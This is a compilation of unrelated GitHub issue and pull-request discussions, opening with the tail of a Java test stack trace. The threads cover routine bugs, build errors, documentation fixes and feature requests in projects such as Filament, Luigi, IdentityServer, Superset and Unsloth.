at org.springframework.test.context.junit4.statements.RunAfterTestMethodCallbacks.evaluate(RunAfterTestMethodCallbacks.java:86)
at org.springframework.test.context.junit4.statements.SpringRepeat.evaluate(SpringRepeat.java:84)
at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:366)
at org.springframework.test.context.junit4.SpringJUnit4ClassRunner.runChild(SpringJUnit4ClassRunner.java:251)
at org.springframework.test.context.junit4.SpringJUnit4ClassRunner.runChild(SpringJUnit4ClassRunner.java:97)
at org.junit.runners.ParentRunner$4.run(ParentRunner.java:331)
at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:79)
at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:329)
at org.junit.runners.ParentRunner.access$100(ParentRunner.java:66)
at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:293)
at org.springframework.test.context.junit4.statements.RunBeforeTestClassCallbacks.evaluate(RunBeforeTestClassCallbacks.java:61)
at org.springframework.test.context.junit4.statements.RunAfterTestClassCallbacks.evaluate(RunAfterTestClassCallbacks.java:70)
at com.azure.spring.data.cosmos.AbstractIntegrationTestCollectionManager$1.evaluate(AbstractIntegrationTestCollectionManager.java:122)
at org.junit.rules.RunRules.evaluate(RunRules.java:20)
at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306)
at org.junit.runners.ParentRunner.run(ParentRunner.java:413)
at org.springframework.test.context.junit4.SpringJUnit4ClassRunner.run(SpringJUnit4ClassRunner.java:190)
at org.junit.runner.JUnitCore.run(JUnitCore.java:137)
at com.intellij.junit4.JUnit4IdeaTestRunner.startRunnerWithArgs(JUnit4IdeaTestRunner.java:69)
at com.intellij.rt.junit.IdeaTestRunner$Repeater$1.execute(IdeaTestRunner.java:38)
at com.intellij.rt.execution.junit.TestsRepeater.repeat(TestsRepeater.java:11)
at com.intellij.rt.junit.IdeaTestRunner$Repeater.startRunnerWithArgs(IdeaTestRunner.java:35)
at com.intellij.rt.junit.JUnitStarter.prepareStreamsAndStart(JUnitStarter.java:235)
at com.intellij.rt.junit.JUnitStarter.main(JUnitStarter.java:54)`


DocsArchive-<IP_ADDRESS>Auto archive content

Auto archive content from https://github.com/OPS-E2E-PPE/docs-archive-test

Docs Build status updates of commit 6df4917:
:clock10: Pending: waiting for processors (9 builds ahead of you)
:warning: Docs Build is busy, currently there are 9 builds ahead of this one, for more information you can view the Build queue graph on the Docs Portal.

Docs Build status updates of commit 6df4917:
:x: Validation status: errors
Please follow instructions here which may help to resolve issue.

File
Status
Preview URL
Details

:x:Error

Details

[Error]

Cannot sync git repo to specified commit because branch Archive_master_2019-09-27-03-29-53 has been deleted or has been force pushed: fatal: Couldn't find remote ref Archive_master_2019-09-27-03-29-53

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


fix pickling for HdfsTarget

A simple HdfsTarget instance no longer is pickleable due to instance methods being stored as attributes on CompatibleHdfsFormat (since aab71dac71091e8794e235358caeafb7240a648a).
We have some scenarios where an HdfsTarget is stored as an attribute on a hadoop task instance, which then must be pickled to submit the job to the cluster.

thanks! maybe it would have been simpler to remove the reader and writer attributes?
what's the breaking test?

I don't see an obvious way to remove need to store reader/writer methods on CompatibleHdfsFormat until support for hdfs_writer and hdfs_reader methods goes away (after that can just store format).

@davemt. By the way. As I think @erikbern meant, can you show the real code you're running that fails. That could server as another test case. It also serves as documentation accompanying this PR.

This is an example of the task type that was hitting the error:

I should add that these pickling errors are extremely non-specific about what particular object/attribute is failing, so on chance it does come up for people it can be a real headache to track down.


MatDbg link error on PC - Unresolved external symbols MATDBG_RESOURCES_*

Beginning with version 1.4.0, getting link errors when linking against release 1.4.0 libraries (debug configuration).  See attached file (FilamentLinkErrors.txt) for link error text.
The linker is looking for (among others) these symbols:
MATDBG_RESOURCES_INDEX_SIZE
MATDBG_RESOURCES_INDEX_OFFSET
MATDBG_RESOURCES_PACKAGE
MATDBG_RESOURCES_SCRIPT_SIZE
MATDBG_RESOURCES_SCRIPT_OFFSET
... and more
Additionally, it is missing some CivetServer::addHandler() and other CivetServer functions.
If I were to build the libraries myself (which I'm currently not doing) and define SERVE_FROM_SOURCE_TREE, it might change the nature of things, but I haven't looked into what else might be required.
Not sure how to resolve this, so I am rolling back to a previous release for now.

OS: Windows 10
Backend: OpenGL

FilamentLinkErrors.txt

Are you linking in matdbg.lib?  It's included in the mdd and mtd folders.

I am linking matdbg.lib.  It's that library that generates the first set of missing link symbols.  I've tried to see if I've made a mistake on my end (and maybe I have), but I can't find one.

Thanks for the report, I'm able to reproduce on Windows. Note that matdbg is only present in debug builds so you should be be able to link against either of the release variants for the time-being.

Note that this isn't Windows-specific, these link errors occur on any platform when linking against debug builds of Filament.

@BStringhamVRSK The issue should be fixed now, but you'll need to wait until the next release to get updated binaries.

That was quick!  Thank you.
By the way, is there a forum site somewhere where Filament users can talk about things that don't rise to the level of bugs?

None that I'm aware of, but feel free to open an issue for any other problems you face.


Add pallet-swaps

I believe fungible was used as a placeholder until the assets pallet was complete, and now it is so can we use that instead?

Will merge and test for now


Update DAws.php

dynamic 404

dynamic 404 is an extra feature that should be added, thanks for sharing.


Native UI: Using discovery document with a native ios/android ui

So I am currently working on a native ui on ios, I am aware that if I use authorize endpoint to start a code flow I need to have a session cookie on Identity server.
https://github.com/karpikpl/identity-server4-with-SPA-UI
I was able to implement this with an angular application serving as an UI for identity server.
I want to do the same but for ios, but my restriction is the cookie, Is there anyway to request a token to IDS from the native UI and then consume the authorize endpoint with this token and request a code for another client? Or if this breaks the spec how can I authenticate my native UI in order to consume authorize endpoints and make all the code PCKE flow?
I just wanna be able to open an authenticator app that will act as the website that give us back an authorization code. I have been researching so much for the web app and have success, but I have not been able to find anything related to a native ui
Closest related question would be https://github.com/IdentityServer/IdentityServer4/issues/1777
I wanna be able to provide an IDS UI for the web and a native UI so instead opening a web browser I open the native app if installed.

it's not clear what your question is. There are ways to consume a url in an app in both ios & android. Or you can check this for an example native app https://github.com/openid/AppAuth-iOS

@TomCJones  Thanks I will take a look!

@TomCJones So after reviewing this library, I will rephrase my question or my problem...
What I want is to replace QuickStart UI for a Native iOS QuickStart UI, so native clients instead opening a web browser can open the Native QuickStart UI

still not sure what you want.
Is it that the browser on the phone goes to the client and the client opens an app on the phone?
This is possible with uri capture, but then it is the app that controls the session,
ie. there is no going back to the same browser session on the phone.
That is the way phones work.
If you want the phone app to control the connex from the start, then you can open a web window on the phone and then the app on the phone controls the entire session.
if it is a different flow you need to explain more than you have.

so native clients instead opening a web browser can open the Native QuickStart UI

That's an anti-pattern, read this first.

@leastprivilege I have noticed that facebook opens a web browser but allows you to open their native facebook app to authorize other ios apps.
I would like to replicate this behavior and if is possible to skip the web browser if I detect the authority app is installed.

it would be 7.1.  Private-Use URI Scheme Redirection

Closing as this question is not related to IdentityServer.


Add Vimeo Badge to Footer

class="fa fa-vimeo-square"

Could also add Instagram link.. Its not in the standards but webspark has implemented it.

The Instagram link is now in the standards.


arelle: enable only on python 3.4 DONT MERGE

Motivation for this change
Python 3.4 is the version suggested by arelle.org
On other versions, the build fails, so this PR disables those.
Equivalent pr for release-17.09: #29420
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option build-use-sandbox in nix.conf on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] Linux

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[x] Fits CONTRIBUTING.md.

This needs to be reworked because of #29435

Closing, because problems have been fixed for 3.4 and 3.6 on master, as can be seen on https://hydra.nixos.org/eval/1394026?filter=arelle&compare=1393889&full=


chore: add safeWallet and braveWallet to getDefaultWallets

Changes

Adding back safeWallet and braveWallet to getDefaultWallets, since it got removed from v2. Here is an example from v1.

Tested with the Safe Browser by adding a Custom App here and not seeing the Safe connector appear; we might have a larger issue. Previously this connector would auto-connect in the Safe browser environment. https://app.safe.global/apps

@DanielSinclair Ah i see. I'll deeper debugging👍
Btw how were you able to get the RainbowKit example app working on on safe browser ? For me it shows empty / blank screen:

It happens with all other apps too.

@DanielSinclair Safe wallet seems to work fine now. Can you check ?


Meaningless checks and always true conditional statements.

https://github.com/JRakNet/JRakNet/blob/707e9b60a69b548d521e535ab75b791f443265b9/src/main/java/com/whirvis/jraknet/Packet.java#L1112
The maximum value of type Int is 0x7FFFFF; 0xFFFFFFL is out of range.
https://github.com/JRakNet/JRakNet/blob/707e9b60a69b548d521e535ab75b791f443265b9/src/main/java/com/whirvis/jraknet/Packet.java#L1160
This conditional statement always returns true; 0xFFFFFFFFFFFFFFFFFFFFFFFL represents -1.

👍


[Added] 'runUnitTests' argument for 'swgemu' command

Issue #65

Awesome.  Sorry it took me so long to circle back but thanks for the submission!


⚠ Thumbnails API Endpoint has degraded performance

In 2429413, Thumbnails API Endpoint (https://thumbnails.roblox.com/v1/assets?assetIds=82738847&format=Png&isCircular=false&size=30x30) experienced degraded performance:

HTTP code: 200
Response time: 5691 ms

Resolved: Thumbnails API Endpoint performance has improved in 7eb24c3 after 1 hour, 16 minutes.


Fix node sizing

This PR addresses an issue where the node does not size correctly because the scene is picking up the size instead of the Node.  The Scene itself should not have a size since it is just an abstraction layer.
The fix involves placing the constant definitions within the constructor itself as defined in #353.  Since the original constant INIT had a value of true, it was only by chance that this working.  (I think... )
This could also be wrong, and the scene need sizing for something else, but this addresses the proportional sizing issues...

#354 also addresses the same issue, favoring that instead of this change


fix(sql lab): MultiSelector component render twice

SUMMARY
As explained in #20702, when you select more than one table in SQL Lab and try to clear them all, then the component appears to be rerendering twice (or more).
The issue is that the tables are being removed one by one and, specially if the backend persistence is enabled, then, as the backend responds, the value of the select is updated only by that single table.
This PR ensures all tables are deleted at once, preventing the issue.
BEFORE/AFTER SCREENSHOTS OR ANIMATED GIF
Before:
https://user-images.githubusercontent.com/17252075/178904735-972fa6f7-2ab9-4981-a5e1-51f898f695d7.mov
After:
https://user-images.githubusercontent.com/17252075/178904685-8f927c05-150e-4c1d-8801-6dc35d5bcf67.mov
TESTING INSTRUCTIONS

ADDITIONAL INFORMATION
Fixes #20702

[ ] Has associated issue:
[ ] Required feature flags:
[x] Changes UI
[ ] Includes DB Migration (follow approval process in SIP-59)

[ ] Migration is atomic, supports rollback & is backwards-compatible
[ ] Confirm DB migration upgrade and downgrade tested
[ ] Runtime estimates and downtime expectations provided

[ ] Introduces new feature or API
[ ] Removes existing feature or API

@diegomedina248 Thank you for this hot fix!
@michael-s-molina Can we merge it?


feat(webpack): add hot reloading on win32

This is more of an RFC at this point - we will certainly have to discuss implications. I did not, however, manage to get HMR working using webpack/hot/poll - and webpack/hot/signal, i.e. what we currently use, is not supported on win32.
Closes #311

Since it appears to be possible to override the signal webpack/hot/signal is listening for...
https://github.com/webpack/webpack/blob/b41e2c68a5d707bd2d315b7b10f6b714c78f0474/hot/signal.js#L48
...and since we might (ab)use one of the signals supported on win32, we might be able to fix this in a less problematic manner.

Will be fixed in #314


A package issue?

###Code to replicate:
%%capture
!pip install unsloth
# Also get the latest nightly Unsloth!
!pip uninstall unsloth -y && pip install --upgrade --no-cache-dir "unsloth[colab-new] @ git+https://github.com/unslothai/unsloth.git"
from unsloth import FastLanguageModel
import torch
max_seq_length = 2048 # Choose any! We auto support RoPE Scaling internally!
dtype = Float16#None # None for auto detection. Float16 for Tesla T4, V100, Bfloat16 for Ampere+
load_in_4bit = True # Use 4bit quantization to reduce memory usage. Can be False.

# 4bit pre quantized models we support for 4x faster downloading + no OOMs.
fourbit_models = [
    "unsloth/Meta-Llama-3.1-8B-bnb-4bit",      # Llama-3.1 15 trillion tokens model 2x faster!
    "unsloth/Meta-Llama-3.1-8B-Instruct-bnb-4bit",
    "unsloth/Meta-Llama-3.1-70B-bnb-4bit",
    "unsloth/Meta-Llama-3.1-405B-bnb-4bit",    # We also uploaded 4bit for 405b!
    "unsloth/Mistral-Nemo-Base-2407-bnb-4bit", # New Mistral 12b 2x faster!
    "unsloth/Mistral-Nemo-Instruct-2407-bnb-4bit",
    "unsloth/mistral-7b-v0.3-bnb-4bit",        # Mistral v3 2x faster!
    "unsloth/mistral-7b-instruct-v0.3-bnb-4bit",
    "unsloth/Phi-3.5-mini-instruct",           # Phi-3.5 2x faster!
    "unsloth/Phi-3-medium-4k-instruct",
    "unsloth/gemma-2-9b-bnb-4bit",
    "unsloth/gemma-2-27b-bnb-4bit",            # Gemma 2x faster!
] # More models at https://huggingface.co/unsloth

base_model, tokenizer = FastLanguageModel.from_pretrained(
    model_name = "unsloth/Phi-3.5-mini-instruct",
    max_seq_length = max_seq_length,
    dtype = dtype,
    load_in_4bit = load_in_4bit,
    # token = "hf_...", # use one if using gated models like meta-llama/Llama-2-7b-hf
)
model = FastLanguageModel.get_peft_model(
    base_model,
    r = 16, # Choose any number > 0 ! Suggested 8, 16, 32, 64, 128
    target_modules = ["q_proj", "k_proj", "v_proj", "o_proj",
                      "gate_proj", "up_proj", "down_proj",],
    lora_alpha = 16,
    lora_dropout = 0, # Supports any, but = 0 is optimized
    bias = "none",    # Supports any, but = "none" is optimized
    # [NEW] "unsloth" uses 30% less VRAM, fits 2x larger batch sizes!
    use_gradient_checkpointing = "unsloth", # True or "unsloth" for very long context
    random_state = 3407,
    use_rslora = False,  # We support rank stabilized LoRA
    loftq_config = None, # And LoftQ
)

@savour-it-last Sorry on the delay - I tried Phi-3.5 - it looks fine - would updating Unsloth mayeb solve the issue?
pip uninstall unsloth -y
pip install --upgrade --no-cache-dir "unsloth[colab-new] @ git+https://github.com/unslothai/unsloth.git"

I apologize @danielhanchen but it was because the code that was pulled was unstable. It worked after I downloaded the stable version. Forgot to update it here.

No worries!


Example link is incorrect

Under the heading "Queue service concepts", there's a diagram including queues including the queues "incoming-orders" and "outgoing-orders", and then further down under the URL Format bullet point the example link is "http://myaccount.queue.core.windows.net/images-to-download". Where does "images-to-download" to come from? Maybe that line can be removed?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 2449e264-13a7-ecc0-7400-b6d6bed1b029
Version Independent ID: bcd3da61-efe6-4ef5-1c79-4fa78cdf473d
Content: Get started with Azure Queue storage using .NET - Azure Storage
Content Source: articles/storage/queues/storage-dotnet-how-to-use-queues.md
Service: storage
Sub-service: queues
GitHub Login: @mhopkins-msft
Microsoft Alias: mhopkins

@samjones00 Thank you for bringing this to our attention. We will have a fix published after reviewing the content for accuracy.

This examples are not using the latest Azure SDK:
https://docs.microsoft.com/en-us/dotnet/api/azure.storage.queues?view=azure-dotnet

@samjones00  Thanks for the feedback! I have assigned the issue to the content author to investigate further and update the document as appropriate.

@samjones00 Thanks for the feedback! I've fixed the path. The update will be published later today.
#please-close


[WIP] Switch to pbr

This has a couple of advantages:

automatic version handling
automatic ChangeLog handling
automatic AUTHORS handling
and more. See pbr documentation

Ah thanks! but we have Python 2.7.9 in SP2. Do you think that this bug is still relevant?

Currently WIP

Ah thanks! but we have Python 2.7.9 in SP2. Do you think that this bug is still relevant?

you could use py2pack with older versions, too. Not sure but it doesn't hurt imo